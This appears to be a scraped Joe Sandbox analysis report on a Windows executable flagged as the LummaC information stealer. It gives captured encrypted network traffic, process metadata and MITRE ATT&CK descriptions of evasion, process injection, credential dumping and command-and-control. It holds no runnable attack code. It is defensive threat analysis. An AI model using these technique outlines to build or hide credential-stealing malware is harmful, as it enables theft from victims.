2024-12-24 11:39:19 UTC	15331	OUT	Data Raw: bd c7 f3 83 db a3 b8 7a 91 89 c8 84 00 e5 45 f9 cd e1 7a 6e a2 0e 83 58 c1 66 4a a2 98 2d ab d5 bd 95 bc 71 91 77 0b 6e f1 71 e6 70 e2 ec 00 76 16 52 45 c8 a8 1e b9 19 ba 8f ac 42 72 6b b7 f5 14 2b 7c fc f7 df f4 3a 74 fe 57 97 23 54 69 ec fe d9 57 f3 5a 68 f0 7e da 9c 0f 90 b3 0d b8 a7 29 28 c4 da b3 df e0 ca b6 0c 1f 7a 20 fa bc ad e7 1c 5b 47 ca 5b 0f 24 dc a7 a5 f9 71 45 03 c0 e6 1e 06 73 ad 3e 92 c8 20 32 4c 34 d7 19 12 be 24 05 d1 4b 81 5d 86 a8 90 0a 63 04 31 1e 16 42 94 64 f9 ae dc 72 3d 42 0b 9b 2d 0a a9 d1 6c 5d 53 c3 be 2b 01 dd ab 5e 59 d1 0e 48 f0 34 20 ed 8d 5b 8d 4d a7 bf b2 87 c0 a7 3d a6 ae db 24 49 d9 75 26 e8 d8 9f 2b 79 9a 75 ca 02 37 7a 53 db 6d 9c a3 57 9b d7 61 4f 91 c6 69 86 3c 38 e9 b9 ba 7d 7c e4 7d 0c 69 8a 9b 14 61 7e 1f e3 44 Data Ascii: zEznXfJ-qwnqpvREBrk+\|:tW#TiWZh~)(z [G[$qEs> 2L4$K]c1Bdr=B-l]S+^YH4 [M=$Iu&+yu7zSmWaOi<8}\|}ia~D
2024-12-24 11:39:19 UTC	15331	OUT	Data Raw: 7b 00 97 6d de 2f 4c 15 be ee d5 1c c3 bb 41 e0 9e b6 91 9e 46 82 6f ce a7 59 69 7c e5 45 6d fc 5e 25 e3 cf 1d d5 68 19 28 e9 b3 93 07 6c 7e 47 4e 3e 12 13 19 bc f9 d7 3c 7f 78 cf c3 fa 84 88 75 21 2b a4 5b 7d ab e3 6c 36 cc 96 64 09 a3 80 fc af d1 fc 1b d6 ce 2c 83 a3 57 58 22 e0 e9 0e e7 5f c9 17 8f e4 38 0b 33 32 6d e9 66 c6 9b 78 b6 38 ca aa ca 95 5f d7 29 d5 42 7a 79 4b db c8 9e a2 da 13 8a 0f 05 1b 4f 90 1e 6a 93 ca 35 aa 10 e4 ad f8 da fd d1 53 5d 9b 11 ba ba e0 93 e8 b1 c7 ff 7d 4c 96 8c 25 f2 94 15 13 35 c5 1b 14 e9 0d 65 2b 45 cb df b1 32 73 9e 15 d5 17 7e 78 87 d7 cf 64 2e b0 37 b8 f6 31 9f 0c 46 c3 e6 5a ca c3 89 5e 7f 33 37 46 4b d8 c1 81 a3 be 73 94 01 8b 3f 6b 9b 5c a7 7c 8b 5d 26 1d 14 56 36 16 9f 20 c6 5c 23 e0 62 0e 25 bc 1e 37 3f fe 3e Data Ascii: {m/LAFoYi\|Em^%h(l~GN><xu!+[}l6d,WX"_832mfx8_)BzyKOj5S]}L%5e+E2s~xd.71FZ^37FKs?k\\|]&V6 \#b%7?>
2024-12-24 11:39:22 UTC	1137	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l7s8levnu7eld4umccil4926g2; expires=Sat, 19 Apr 2025 05:25:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ejnocdKy4aQpNkrPhyc5p9%2BKl8t3KjV%2FY5ZUFTu%2BJtifXKxbt2GMJDaOPjyT8Kz68hAnArjGc2eFQsmgwSSHcWK446db9YU9R0r%2Fs0Q06tSChv%2F3GJP30g%2BIzNw9MP5WY9Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f64b90f4231-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2161&min_rtt=2151&rtt_var=827&sent=327&recv=601&lost=0&retrans=0&sent_bytes=2836&recv_bytes=574823&delivery_rate=1307657&cwnd=127&unsent_bytes=0&cid=f54bdb4b3990da91&ts=3770&x=0"

Target ID:	0
Start time:	06:39:00
Start date:	24/12/2024
Path:	C:\Users\user\Desktop\wIgjKoo9iI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\wIgjKoo9iI.exe"
Imagebase:	0x480000
File size:	2'931'200 bytes
MD5 hash:	1C22D90D4F3C0BE6834E0777C7B4D18A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report wIgjKoo9iI.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
wIgjKoo9iI.exe